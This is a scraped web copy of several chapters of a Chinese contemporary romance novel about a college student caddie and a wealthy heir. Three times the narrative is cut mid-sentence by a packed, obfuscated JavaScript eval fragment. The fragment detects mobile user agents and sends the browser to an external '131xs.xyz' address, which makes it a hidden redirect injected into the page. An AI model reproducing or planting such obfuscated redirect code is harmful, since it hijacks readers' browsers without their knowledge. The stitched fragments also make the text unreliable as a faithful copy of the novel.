l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543016|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左疏桐那丫头要我买了东西去看你的,她怕你自己在家饿瘦了。” 得知闺蜜的关心,今宵高兴笑起来:“这是催着我去给她要江澈的签名照呢!她哪天回来?” 二人推着购物车慢悠悠往前走,左清樾说:“应该是29号吧,她说不好再多请假了。” 今宵这闺蜜娇气归娇气,成绩一直不错,她当初本想留在北城跟她继续做连体婴,但架不住南城名校的专业更好,她最终还是听了左清樾的建议,去了南城上大学。 “你生日当天欸,那到时候我去机场接她。” “好,你最近怎么样?”左清樾问她,“有没有好好吃饭睡觉?” 一提到这些,今宵仍是控制不住心头的颤,但她面上依旧带着笑,依旧高兴地说:“好多了,谢谢清樾哥。” 左清樾自然抬手揉揉她的发,像宠着自家妹妹般,温柔地说:“别想太多了元元,今叔的债务问题他自己已经处理了八.九成了,遗留的都是些小问题,一切有我,你只管安心念书,好吗?” 已经处理了八.九成了,为何还要丢下她一个人? 她按下了心头的苦涩,笑着应了声:“好。” “走吧,”左清樾轻扬下巴示意,“想拿什么随便拿,哥给你买。” “谢谢哥!” 有哥关心的孩子总是开心的,从山姆出来,左清樾本想带她去一家意大利餐厅,但今宵好几天没回家了,院子还乱着,她说想早点回去收拾院子,顺带要他这个哥当苦力,左清樾一口应下,开着车就往小溪山去了。 小溪山算是个风景区,山顶上有个佛寺,今宵住在山腰上,背山临溪,门前翠柳成荫,景色极好。 时常有香客将车停在通往四合院的岔路上驻足赏景,二人还未到家,左清樾就先看到四合院门口那辆车。 他蹙了下眉:“怎么有人将车停到了家门口?” 他以为是哪个香客。 今宵解释说:“是球场一个客人的车,他昨天借我开回来的。” “客人?”左清樾偏眸看她,眼里多了些担忧和警惕。 “什么客人?还要把车借给你开回来?正经么?” 今宵想了一下昨夜去过的那片山林,见过的那个园子,顿一瞬答:“应该......挺正经的。” 左清樾转头叮嘱她:“你一个小姑娘独居,不能让那些来历不明的男人知道你的住处,这很危险,懂吗?” “嗯,”今宵乖巧点头,还有几分心虚解释,“昨夜是个特殊情况,我以后不会了。” 左清樾毕竟年长,她又和左疏桐一起长大,她们每回遇到问题都是左清樾帮忙解决,时间一长,她也跟着左疏桐养成了这听哥哥话的习惯,哥哥一严厉,她就乖乖顺顺地听训,这是条件反射。 今宵嘴上应得干脆,左清樾还是不放心,虽说他这妹妹家里出了事,但从小也是被人娇养着长大的,绝不至于沦落到需要靠男人的地步,就算要靠,也还有他这个哥。 “从学校回来是不是不方便?” “啊?” 今宵瞧着柳荫下的那辆红旗,思绪陷入短暂停摆,顿几秒,这才回过味来,她这哥哥一定是误会她了。 她又解释:“不是我主动问人借的。” 车停了,左清樾侧身看她:“噢,他还主动借给你,这能是什么正经人?主动借给你不就是为了要你住址?” 左清樾拧着眉:“你给我把他叫来,我倒要看看他到底是何居心。” “我......” 她刚想说她没有他的联系方式,可她这话还没说出口呢,这正经人就开了车门从驾驶位下来。 不同于昨日全程戴墨镜的冷峻,他今日着一件米白亚麻衬衫,领口开了两粒扣子,袖子被他折至小臂,下摆规整地收进黑色西裤里。 以前跟着孟女士进高级手工坊定制礼服时,她听那儿的裁缝说,这身材越是好的男人,西裤越是得量身定制,他这腰臀维度,松紧长短,材质颜色,都要细细考量,不合衬的西裤就像将就的婚姻,瞧着像模像样,但其实,得要加一根腰带才能系得住体面。 她那时不懂这话的意思,现下见了沈修齐,反倒是恍然大悟起来。 他身材很好,西裤量身定制,没有系腰带。 不必将就。 7. 西柚茶 - 昨夜沈凝光带了两瓶Macallan30,宴上三人陪着沈君正饮了一瓶半,仅是微醺。 沈修齐从浴室出来,月上了西楼,凄凄映水寒,他竟对月无眠。 差乔叔送来那半瓶子威士忌,带一个水晶杯,窗畔月影疏淡,他端一杯酒陷进沙发,随意点开手机视频,借几缕秋风催眠。 离得近了,像是有她的呼吸声在耳畔,一句“nicebirdie”被她念得甜又软。 待到酒瓶见了底,视频看完,他才生出几分倦意,孰料清晨睁了眼,小山雀临窗啁啾,远不如佳人婉转。 到了小溪山,四合院门前垂柳芊芊,清溪绕舍而过,水声叮铃。 乔叔回头问他:“湛兮这是取车还是见人?” 他笑笑不说话,下了车挥手叫乔叔先走。 若是取车,自然不必他亲自来。 可他这人呐,人家也未必想见。 好友申请发了一夜都未通过,这辈子头一回给人袋子里塞钱,还被原封不动地退了回来。 这要叫家里老头子见了,得要骂他一句作风不正,再让他写三千字清廉心得才肯罢休。 转头瞧见地垫上那只唇膏,金属外壳,白金配色,顶部刻着H字样,腰身装饰金属拉丝,这金属线一丝一缕的,就这么绊住了他欲归的步伐。 今宵瞧见沈修齐的那一刻,整个人像是入定般僵住,他今日明明取了车就能走,为何还等在她家门口? 一瞬间,她的思绪百转千回,却梳不通,理不清,打成死结。 直到身旁的左清樾问了句:“这就是你说的客人?” 她这才恍然回神,急着说:“我正好有几句话要同他说,清樾哥能不能等我几分钟?” 她没看见左清樾眸中一闪而过的复杂情绪,只匆匆解了安全带开门下车。 铅灰百褶裙卷了秋风翩跹,她鬓边的蓝色发卡随她跑动若隐若现,当他出现,站在她家门前,她好像就做不到忽略他好友申请那般坚决。 她被内心的求知欲驱使着,往他身边去,不顾关系亲疏,伸手拽住他的腕,绕至车后的柳荫下站定。 呼吸稍重了几分,后知后觉与他肢体接触不妥,她又匆匆松开,将一双手都背至身后。 情绪忐忑着,脸也生热,偏那眸光还如绕舍清溪跃动着,盈润明净得很可爱。 今宵与他对视一瞬,又偏开,说了昨夜偶遇他时说过的话:“先生,您,怎么,没走?” 这话像是烫嘴一般,一个词一个词地往外蹦,叫她难堪。 没想到沈修齐学她说话,也一个词一个词地往外蹦:“今小姐,东西,落我,车上了。” 今宵被他这话闹得脸热,他掌心一摊开,她一把将那唇膏捏住,一开口就带几分嗔:“不是什么重要的东西,先生何必等我?万一我今天不回家呢?” 记起车内坐着的男人,沈修齐眸光有一瞬难以察觉的暗,多余的话没有说出口,他唇边有笑:“总不会比今小姐通过好友申请的时间更久。” 当面被他提起昨夜刻意的忽视,今宵心中窘迫,却不知该如何解释,她总不能说,是因为觉得路时昱是纨绔,所以就将他也一并归入了纨绔的范畴吧? 这太不尊重人。 沈修齐并不是个会强人所难的人,可他还是说了让她为难的话,左右不过是拒加他好友而已,他竟摆出了当面逼问的架势,这太不体面,也不像他。 “元元——” 左清樾的声音在这时候传来,今宵怕他再误会,忙应他:“来啦。” 应完才问眼前人:“先生进屋喝杯茶吧?” 等这么久,她也怪不好意思的。 但他却说:“不了,既然东西送到了,我就先走了,昨夜辛苦今小姐。” 今宵背在身后的一双手将那唇膏来回紧攥,她视线低垂,落在他修长的一双腿上,他说要走呢,也还没转身,像是还等着她回应。 片刻,她抬起眼眸望向他,只见柳随风动,他仍气定神闲。 “那好,”她弯起嘴角与他告别,“先生再见。” 早就做好了抉择,那她也无需在见面时改变最初的想法。 她一贯不热衷于社交,呆在自己的小圈子里会让她安心,时间一长,她也不是那么愿意再往外走,去认识新的朋友了。 沈修齐没应声,他唇边轻浅的笑意迅速消散在渐凉的秋风里。 他转了身,今宵也跟着走出去,左清樾已经将她在超市买的东西搬到了门口,她快步过去开门,低头瞧见袋子里的西柚果茶,她拿了一瓶转身递给他。 “请先生喝茶。”她依旧冲他笑得甜。 接过那瓶西柚果茶的时候,沈修齐是有那么一瞬困惑的,后来想想,这是小姑娘的待客之道,有客远来,不可无茶,可他没进那四合院儿,人还以茶送他,便是不打算再跟他有联系的意思了。 “多谢。” 他看她时,无意瞥见了身后那男人递来的敌意,他不着痕迹收回目光,转身打开车门,离开了小溪山。 - 江澈到达紫苑胡同时,李赟正邀着纪嘉扬和樊华樊生两兄弟在东跨院的茶室打德州,李赟邀他时,说的是沈修齐昨日在景云山打了个一杆进洞,今儿要请客吃饭,来之前路时昱还给他打电话,问要不要上他家接他。 都是一块儿长大的兄弟,他哪有那么大明星架子?结果刚出门他就后悔了,这几天有重要外事活动,他家出来没走两公里就遇上交通管制,他平时来这儿最多二十分钟,结果因为绕行和堵车生生开了快一个小时。 今儿他刚进垂花门就觉得反常,平时李赟这儿不说弦歌不绝,但也绝没有如此冷寂的时候,他们一帮公子哥凑在一起玩儿,闲得听两首小曲儿的兴致还是有的,结果这四人在茶室打牌还静悄悄的,搞得他一进来也冷不丁后背一凉,生怕是哪位叔伯赶巧到这儿喝茶,他再被逮住听几通说教就不妙了。 他疑神疑鬼地穿过游廊往四人打牌那茶室去,举高手隔着窗打了个响指,李赟看见他,伸手朝他招了招。 他走到窗边:“你们几个这是打牌还是演默剧呢?青天白日的,你们这样很吓人知不知道?!” 纪嘉扬朝西跨院扬扬下巴:“三哥在那边儿睡觉呢。” 江澈拧着眉:“好好的他上这儿睡觉干嘛?这是睡觉的地儿?” “嗐,你可别说了,”李赟抱怨道,“今儿也不知道他哪根筋搭错了,一来就把我从音乐学院喊的那俩妞儿给遣走了,曲儿一首没弹呢,白嫖我四千。” 一旁的樊华摸摸下巴:“据我经验,三哥这是失恋了。” 江澈呸一声:“他孤家寡人一个,失的哪门子恋?我瞧瞧去。” “回头被暴cei一顿,可别怪我们没提醒你啊。” 樊生一说完,四人哈哈笑起来,江澈头也不回就往西跨院去。 穿过游廊,他嗅到西边雪茄房飘来淡淡的坚果巧克力香气,沈修齐平时烟酒都来,但对啥都没瘾,回回来这儿品茄都只抽三分之一,回回都被李赟骂暴殄天物。 江澈一跨过门槛就喊:“湛兮。” 雪茄房阒静无声,南天井里的紫藤往地面慢慢悠悠晃来几缕树影,沈修齐坐在窗边的雪茄椅上,单手撑着太阳穴阖眼休憩,搁在烟灰缸上的behike剩了三分之二,茄灰已断。 很罕见地,江澈从沈修齐微蹙的眉间品出了几分颓靡味道。 这世家公子借酒消愁也就是这样了,不过他沈公子借的是雪茄。 别说,还真有失恋那味儿。 靠坐在雪茄椅上的男人并没有回应,日光透过了窗棂上的十字海棠纹样,明明暗暗筛落他全身,江澈回回见他这发小儿都由衷地觉得,他们这群人里最该去拍电影的人是眼前这位沈三爷,可惜三爷家世显赫,这辈子不必靠美色谋利。 正愣神,窗边小几上那瓶粉色的西柚果茶吸引了他视线,也不知是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543017|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁放这儿的,跟眼前这位爷实在不搭,正好他这一路赶来连口水都没得喝,两步上前就拿过来拧开了瓶盖。 “妈呀,真酸!” 沈修齐睁眼时,江澈正紧拧眉头对着那瓶西柚果茶吐槽,他一脚踹过去,江澈利落一躲,瓶中果茶差点洒出来。 “我让你喝了?” 他初醒的嗓音带几分哑,加重了他语气里的薄怒,让江澈恍然大悟。 江澈瞧着手里的西柚果茶笑了起来:“唷,看起来是姑娘送的。” 他啧了声:“谁家姑娘这么没眼力见儿啊?给咱三爷喝这种便宜果茶?” 沈修齐没应他这话,反倒是问:“云舒从西北回来了吗?” 江澈一下变了脸色:“回了啊,好端端的你提她做什么?” 沈修齐站起身来,两步上前从他手中夺过了那瓶果茶:“那怎么没把你嘴扇肿?” 江澈被他说得一愣,再转身,沈修齐已经出了雪茄房。 他追上去:“沈三!你是不是见不得我俩好?!” “你俩好过吗?”沈修齐头也不回,朝着东跨院就走了过去。 茶室四人见他二人一前一后来,便将手里这局匆匆结束,都等着看好戏,结果沈修齐只是往桌边一坐,仰头喝了口果茶,轻飘飘地说:“发牌。” 江澈跟进来,坐在沈修齐对面拍了拍桌子:“赶紧的,陪三爷过两招儿。” 李赟将桌上牌收好问他:“这云舒不是回来了?你怎么还敢出来跟我们打牌喝酒?” 江澈瞪他一眼:“你这说的什么话?什么叫我还敢?我啥时候不敢?!” “也是,您老都敢去拍电影儿,确实没啥不敢的,就是苦了我云舒,情敌无数。” “什么你云舒!给我放尊重点儿!要叫嫂子知道吗?!” 沈修齐听了这话先笑起来,接着四人都没忍住。 江澈和宋云舒从小就是两隔壁,可以说是吃着一碗饭长大的,小时候江澈就是一皮猴儿,常把宋云舒欺负得哇哇大哭。 这青梅竹马缔结良缘本是美事一桩,没想到这俩人越长大越别扭,结了婚也没见好转,夫妻之间的私隐他们不好打听,他们只知道江澈这只花孔雀只敢在他们面前开屏。 牌刚发好李赟接到路时昱电话,说是临时有事耽误,得要晚点才能到,李赟挂了电话好奇:“这路时昱最近怎么老往三哥身边凑?” 樊生捻着牌看了一眼:“这么说吧,路时昱以前跟韦大关系不错。” “那怪不得,他这回摘够快的,”纪嘉扬偏头问沈修齐,“是三哥提点了?” 沈修齐还是那副疏懒模样,整个人陷在椅子里,像是还没睡够,眉眼间仍凝着被吵醒时的恼。 听了问,他看着牌说:“那事儿跟路家关系不大,他俩顶多算个酒肉朋友,韦大这几年老往菲律宾跑,我其实......也没说什么。” 沈修齐这话说得轻松,可在座的几位心里都清楚,他一句话能帮路家省去多少麻烦,避免多少损失。 事后诸葛亮谁都会当,急人之危却非易事,能在风暴来临前做出应对,那是救命之恩。 别说昨日打赏花了一百万,就是再添个0也远不够偿还这份恩情。 江澈却故意呛他:“你有这么好心?你怕是看上他家刚买下那科技公司了吧?” 这话倒是让沈修齐惊讶,不过他面上不显,只淡定补充:“准确地说,看上的是人。” 人工智能发展至今,高端芯片的制造和强大的算力固然重要,可若没有不断迭代优化的核心算法,那也只是用一条腿走路。 他这另一条腿正无力,路时昱便立马给他送上两名良将,算是意外之喜。 江澈嘁一声,果然不出他所料。 “老狐狸。” 李赟笑着接过话:“这良禽也得择木而栖,跟着三哥不比跟着路时昱强?你以为人人都是宋云舒?” 江澈眼风一扫:“滚!” 8. 昙花艳 - 今宵送走左清樾已经是傍晚,左清樾帮她收拾了一下午院子,她本想留他吃晚饭,奈何他有应酬推不掉,只好作罢。 临走前,左清樾百般叮嘱她,不要和来历不明的男人来往,更不能将家中住址随意告诉别人,还叫她锁好门别轻易给人开,又说好了明天来接她去疗养院看关老师,他这才放心离去。 以前关老师也爱念叨她,从生活到学习,从穿衣吃饭到为人处世,什么都要管,什么都要说,孟女士常因她的教育问题与关老师闹得不愉快。 自从她开始上学,她回家通常是先被关老师教育一遍,再被孟女士教育一遍,若她俩因此起了争执,她晚上还得被父亲教育一遍,她生活在两种完全不同的教育理念之下,也习惯了那种吵吵嚷嚷的日子,这突然间无人管束,她反倒不习惯。 所以左清樾叮嘱再多,她都乐意听。 天色已晚,她收了晾在院子里的衣服回房,刚整理好就听到有人敲门,她以为是左清樾忘拿了什么东西,没看监控就直接开了门,没想到会是她多日未见的朋友。 “云舒?你什么时候回来的?” 今宵惊喜到一把拥住了眼前这个黑黑瘦瘦的姑娘,宋云舒两手拎着东西,像是沉得不行,连声催她:“快快快让我进去。” 今宵赶紧退开,一边帮她拎东西,一边顺手带上了门。 “你回来怎么不跟我说一声啊?好久没见你了,这次去西北一切顺利吗?” 今宵邀着宋云舒往北面正房去,宋云舒也不客气,进了门把东西一放就往沙发上倒:“哎哟,别提了,累死了,我这一路从青海到新疆,长途跋涉风吹日晒的。” 说着她伸手拉开衬衫,露出脖颈处界限分明的皮肤:“你瞧,我这一趟黑了多少。” 刚抱怨完,她又一改神色兴奋道:“不过这次我去可可西里拍到了雪豹和金雕!这趟太值了!我就是黑成煤球也无所谓!” 今宵被她这史诗级变脸逗得直笑:“那恭喜你啊,马上又要登刊了!要喝茶吗?” “不用,”宋云舒冲她笑,“随便给我拿一饮料就成。” “等着啊。” 今宵和宋云舒是在今年年初一次摄影展上认识的,当时今宵正因自己那幅鸭戏图陷入瓶颈,一看摄影展主题是人与动物,她便抱着随便逛逛的心态买了票进去看。 那天天气阴沉得厉害,展馆内人很少,她在一系列水鸟摄影作品前流连,吸引了宋云舒的注意,知道今宵擅工笔花鸟,两人一聊就是相见恨晚,此后只要宋云舒在北城,她们总会约着见面。 等今宵从厨房拿着西柚果茶回来,宋云舒已经将她从新疆带回来的裙子拿了出来,一条黑底火焰纹的艾德莱斯裙和一顶四棱小花帽。 她转身冲今宵说:“我那天逛集市,一看到这条裙子就立马想起你,当场全款拿下!”她将裙子塞给今宵,“你快去换上看看。” 今宵将西柚果茶递给她:“多谢你百忙之中还能记得我!” “我可是你好闺蜜!” 今宵笑着接过裙子往西厢房走,宋云舒亦步亦趋跟在她身后,听见脚步声,今宵回头:“你干嘛?” 宋云舒直接上前揽住她进卧室:“咱俩这关系,看看你不成?” 今宵失声笑:“宋云舒,我要不是知道你已经结了婚,该要误会你是百合了。” 宋云舒转身关上门,拧开果茶喝了一口:“我那老公跟死人一样,不提也罢。” 今宵默认了她存在,兀自脱了衣服换裙子,厢房只开了一盏琉璃花枝灯,晚光朦胧,灯下的少女纤秾得中,莹润如玉,墨发如绸坠在腰间,低眉含笑时,妖而不媚,却叫人神魂颠倒。 宋云舒在一旁啧啧感叹:“你究竟是怎么长的?看着那么瘦,脱了衣服胸那么大!” 今宵被她说得面红耳赤,下意识双手捂胸:“哪有你说得那么夸张?正常尺寸而已。” 宋云舒遗憾叹了口气:“也不知道以后会便宜哪个男人。” 今宵嗔她一眼:“这你就别操心了!” 她捡起换衣沙发上的裙子往身上套:“你哪天回来的?” “就昨天啊。” “昨天?”今宵有些受宠若惊,“你这一回来就往我这儿跑,你老公没意见吗?” 宋云舒冷冷一哼:“他自己跟他那帮发小儿打牌喝酒乐得连家门朝哪开都不知道,凭什么有意见?” 光凭这句话,今宵对她这段夫妻关系就已经有所了解了。 她心里有疑问,虽觉得有些冒犯,却仍忍不住好奇:“你跟你老公是联姻吗?” “算是吧,”宋云舒往门上一靠,一副无可奈何的模样,“他爷爷跟我爷爷是战友,我俩从小一起长大,两家知根知底,一说要结婚吧,我俩也没极力反抗,就这么成了,凑合过吧。” 今宵并不了解宋云舒的家庭,只是偶然听到她同事问她老公如何,她才知道宋云舒已经结婚了。 “那......”今宵愣了一下,“那你们,一起睡吗?” 这回换宋云舒面红耳赤了,她不说话,今宵也懂了是什么意思,她笑:“日久也能生情噢~” 宋云舒急得上前挠她痒痒:“小姑娘家家的不学好,学什么一语双关!” 两个女孩瞬间扭倒在沙发,就只听见今宵边笑边求饶的声音。 玩得累了,宋云舒才微喘着气问她:“你最近还好吗?” 得知今宵父亲出事的时候,宋云舒正跟着院里的植物专家在墨脱拍摄,进了雨林手机信号时有时无,她一度想提前回京陪今宵,但院里的科研任务重,她不得不留下。 回来看到今宵一切如常,她是既高兴又心疼。 高兴是看到她能振作起来面对生活的残酷,心疼是她才19岁。 她年长今宵快十岁,可若易地而处,她不会比今宵更坚强。 今宵起了身,牵着绚丽的裙摆转了一圈儿,高兴说:“挺好的啊,你看我,能跑能跳的。” 她笑得娇艳,说的话却始终蒙着一层哀伤情绪:“不会比那时候更差了。” 已经到谷底了,剩下的路,便都是往上走了。 “你妈妈知道吗?” 今宵唇边的笑容一点点落了下去,她摇摇头:“她知不知道其实没什么差别,她若是知道我的现状,说不准我连安稳日子都没法过。” “为什么?” “她......”今宵有些难以启齿,但想了想还是说,“她一直希望我能上嫁豪门,但这并不是我想要的生活。” 可以说,孟女士的一生都在往上走,每上一级台阶都少不了一个男人的托举,她的父亲只是其中一级。 有时候她会觉得,能把一个男人利用得彻彻底底也是种本事,孟女士本事很大,她早将婚姻看作是一生经营的事业,她会不断往上走,谁也无法成为她的牵绊。 包括她这个女儿。 孟女士在她身上花了很多心血,与其说是培养女儿,不如说是投资股票。 当她平稳往上涨,她会收获孟女士很多关心很多爱,当她停滞不前,家庭矛盾随之而生,孟女士的怨怪和鞭策也轮番而至,无数的沉没成本让孟女士只能选择加大投资,并盼着她能一飞冲天,嫁入顶级豪门一劳永逸。 孟女士有她独特的人生哲学,她就像一个柔软的圆,可以随时随地变换自己的形状去适应别人,用她的话来说,与人结合才能使她站得更稳。 可她不行,她就像一个硬硬的小三角,每一个角都是她的固执与坚持,她没办法将自己磨成一个圆,也很难改变自己去适应任何人。 可能,这就是孟女士对她失望的根本原因吧,眼睁睁看着她从一支蓝筹股发展成僵尸股,成了她人生中极为鸡肋的存在,当孟女士跃上新的台阶,放弃一支僵尸股,便不再需要考虑沉没成本。 察觉今宵语气里的难过,宋云舒起身拥抱她,一句话都没说。 一段婚姻也许能解今宵眼前的难,可这婚姻的难,又该如何解? “你还没吃饭吧?”今宵不愿再继续这个话题,转而问她,“我今儿刚买了牛排,陪我一起吃点儿?” “好,”宋云舒牵着她往外走,“我来帮你打下手。” - 还未入夜江澈就吵嚷着要换地儿,他非说这地方跟他八字不合,一下午输了个底儿掉,气得他大骂沈修齐:“你丫一天天的怎么这么闲?!” 路时昱带一朋友来,他们刚好凑了两桌麻将,沈修齐一推牌:“那是因为我辛苦在前头。” 刚上大学就成立了深渊科技,硕士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543018|171074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一毕业就手握多项专利,撇去实绩不谈,当年的危机若非有他化险为夷,沈泊宁和沈凝光的位置不会像现在这么稳。 沈家的话语权能维持这么多年,前有沈君正一马当先,后有沈修齐保驾护航,因此他再是偷闲,沈凝光也只会嘴上揶揄他两句,沈修齐交到她手上的事儿她可一点儿都不马虎。 江澈站起身:“实在闲,你去结个婚生个娃响应一下政策号召行不行?别老拿你那脑子算计你这些个发小儿!” 茶室几人哈哈笑起来,李赟没忍住:“这是输急了啊闻少。” 江澈本名闻瑾,他们一圈儿人从不叫他艺名。 沈修齐垂眸翻看手机,拇指毫无目的滑动屏幕,语气极淡:“不能抢在你前头,你叫了我一辈子哥,争先恐后要抢在我前面结婚,不就为了你儿子不再叫我儿子一声哥?” 他忽然回过味来,懒懒抬眸:“你和云舒结婚得有五六年了吧?怎么一点儿没动静?你是不是不行?” “沈三!我杀了你!” 茶室几人笑得直不起腰来,却还不忘把江澈拦住,不许他靠近沈修齐。 谁又能想到这位大荧幕上的高冷男神私底下是这么个咋呼的性格?也难怪身边人都劝他千万别上综艺,否则人设必崩。 入了夜天更凉,西风拂来院中金桂香,散去三两酒气,催落一地残红,像是风雨欲来。 沈修齐虽能忙里偷闲,可他与这几位发小儿齐聚喝酒的时候并不多,加之江澈输了一下午,绝不允许他借故先走。 所以这酒一喝,就喝到了月上梢头。 院子凉亭外养了一池莲,这时节莲花残,莲叶枯,莲蓬接连坠在水中,一副破败苍凉之象。 沈修齐踱步至池边醒酒,天边月凉,洒落一层银光与他做裳。 有人喊了声三哥,他一偏头,瞧见路时昱从游廊过来。 一支烟递上,他接过抿在嘴里,路时昱拢着火靠近,他便垂首点燃,浅浅吸了一口拿在手里。 “喝多了?”路时昱问他。 他盯着池中半枯的莲叶,淡声回:“难得高兴。” 聊起那个科技公司,他给路时昱留了陈秘书的电话,说会再派人与他对接。 正事说完,沈修齐破天荒地问起了路时昱表弟。 “赵嘉义?” 路时昱惊到思绪停滞两秒,随即反应过来,这是在过问赵嘉义骚扰今宵的事,若非今宵在球场提起赵嘉义,这沈三爷又怎会记得他表弟的名字? 他立刻表示,会找赵嘉义父亲面谈此事。 沈修齐得了满意的回答,只微微颔首,没再多说话。 路时昱一走,沈修齐便找了烟灰缸将烟灭掉。 给司机打完电话,他随手点开微信看起了消息,列表红点很多,他只粗略浏览一遍,并未点开谁的聊天框,滑至最后,他被自己离谱到想笑。 他怎么就对人小姑娘拒加他好友一事如此耿耿于怀? 人在球场对他体贴对他好,那是她身为球童的职责,出了球场,他是沈修齐,她只是今宵,他们不再是客人与球童的关系,她也没有任何“给他好脸”的义务。 昨夜要她送自己回家已是强求,他总不好再难为人。 罢了。 准备离开时,他无意瞥见一组昙花照片。 也不知什么时候点开了朋友圈,正要退出,却被第九张图牢牢攫住视线。 九宫格的缩略图里,她只露了下半张脸,可他还是一眼将她认出。 照片开了闪光灯,以至于环境很暗,她很亮。 她蹲在一株昙花旁,梳两条麻花辫,戴一顶小花帽,身上的艾德莱斯裙在地面铺开热烈的火焰纹。 昙花独独开了一朵,她右手扶着花枝靠近脸,任由花瓣遮去她右眼,露水沾湿了她面颊,她那眼眸也像凝了夜露,坠了星光般,湿润而透明。 昙花纯白,娇艳,清绝,美到令人失语,却不及人万分之一。 宴散了,江澈扶着廊柱走出来,一把揽住沈修齐肩膀,他不动声色将照片往右一划,第八张是今宵和宋云舒的自拍。 看见那张合照,江澈一下子拧紧了眉:“你干嘛盯着我老婆看?” 沈修齐懒得和一个醉鬼多话,抬手拂开他:“谁说我在看你老婆?” 9. 心怦然 - 29号这天下午,今宵只有一节公共大课,正好能有时间去机场接左疏桐,一早左清樾就给她打电话,说到时间来学校接她一起去。 他们约好在学校东南门见面,熟悉的车尼尔练习曲一响,她便收好包往楼下走。 路过A区教学楼,她好像听见有人叫她,一回头,看见周教授拎着包朝她匆匆走来。 周佩是她们学院的博士生导师,这学期教她们工笔重彩课程,周教授是个温和性子,教学严谨不严厉,人还很新潮,接梗能力一流,平时很受同学们欢迎。 今宵以为是专业课有什么问题,便主动迎了上去。 她刚喊了一声周教授,周佩就一把将她拉到边上,笑吟吟地问她:“你今天有空吗?” 今宵不明所以,心知今夜的生日宴她绝不能缺席,只好先问:“周教授找我是有什么事吗?” 周佩倒也没卖关子,直说:“是这样的,我一老朋友那儿有几幅绢本小画,年头有些久了,没保存好,破损了几处,她儿子一直想找人帮忙修复,但你也知道,这绢本修复不比纸本,难度高,我这侄儿问了几处都没找到合适的修复师,便叫我帮他想想办法。这事儿就特赶巧儿,那天我在博物院跟几位朋友聊天,听说关教授绢本修得很好,所以来找你问问看,能不能请关教授帮帮忙?” 这要是放在以前,今宵肯定就帮关老师应下了,关老师不仅作画能力一流,修复古画的技艺也是一绝。 可如今...... 她照实了说:“不好意思周教授,关老师现在身体不大好,恐怕是胜任不了如此精细的工作了。” 她说完顿了一下:“不过......” 一想着左疏桐的签名照,她豁出去了。 “如果破损不是太严重的话,兴许我能试试。” 虽说她从关老师那儿将古画修复的技艺学了七七八八,但这绢画修复她接触的也不多。 她心里还有点怯,仍给自己留有余地,要实在不成,她再帮着问问关老师以前的朋友,说不准能寻到合适的修复师,那她也算是尽过心意了,之后再要签名照应该会容易许多。 “那太好了,那你今天有时间吗?我那侄儿正好送画来家里,你要不跟我回去看看?” 周佩臂弯勾着包,一双手还紧拉着她不放,她眸中跃动着惊喜之色,以今宵感受到的力量来看,周教授根本没打算放她走。 她在极为短暂的考虑之后,坐上了周佩的车。 她先联系了左清樾,说的是学校临时有事走不开,晚上一定准时到,左右是去看一眼画的现状,花不了多少时间。 在给左疏桐发消息的时候,她还在心中腹诽:我这可都是为了你。 正愣神,周佩忽地转头问她:“如今家中一切都好吗?” 自从父亲出事以来,这样的问题她已经听了无数遍,如今的她,已经能凭借本能反应给出最积极乐观最不让人担心的回答。 不过是寒暄,周佩转而问起她有没有男朋友?她摇摇头,说学业重,事情多,实在没有精力谈恋爱。 她现在很像是突然被丢进斗兽场的一头羊,斗兽场内时时刻刻都在上演搏斗与厮杀,她这头羊连生存技能都没学会,随时都有可能活不下去,还能谈得了什么感情?能顾好眼前就不错了。 周佩的住处离学校不远,半小时车程,到达目的地,今宵下车主动拎起了后备箱的购物袋。 她跟着周佩进门换鞋,一垂眸,门口已有两双男士球鞋,一黑一白,都是顶奢品牌,此时冒进她脑海的第一想法是——江澈在家! 这突如其来的惊喜让她心潮澎湃,她就知道,这趟没来错。 别墅是非常典型的中式风格,周教授在学校负责中国画相关课程,又主研工笔山水和花鸟,深受宋式美学影响。 室内墙体不多,视野开阔,多用素娟屏风和木制格栅划分区域,入户长案上放了一只月白釉双耳三足香炉,淡烟袅袅而升,清冽的雪松和甜暖的木兰毫不违和。 周教授拎起购物袋进厨房,招呼她随便坐,她视线巡睃,没有见到人,只隐隐听见一个沉悦温润的嗓音从室外传来,听断句,像是在打电话。 她忍住了自己的好奇心,将包放在沙发一角,贴着扶手坐下。 似乎是听到有人回来,后方茶室走出一身形高大的男人,并冲着厨房喊了声“妈”。 今宵知道来人是江澈,一下子站了起来,猛一转身,对上江澈惊讶的一双眼。 谁能想到与电影明星面对面,更惊讶的人竟然是电影明星? 今宵愣了一下,随即恢复到往常的得体,用柔和的嗓音做自我介绍:“江先生好,我是周教授的学生,今宵。” 话刚说完,周佩从厨房出来,边走边说:“瞧我,光顾着给阿姨交代晚餐了,将你一人撂这儿,来我给你介绍一下,”她站到江澈身边,笑意和煦,“这我儿子,闻瑾,你应该认识。” 势头正盛的大明星,她哪能不认识?她不好说她今天就是冲着这位大明星来的,又改了口道:“闻先生好。” 江澈锁着眉头盯了今宵好一会儿,直到周佩用手肘怼他:“人跟你打招呼呢,你愣什么?” 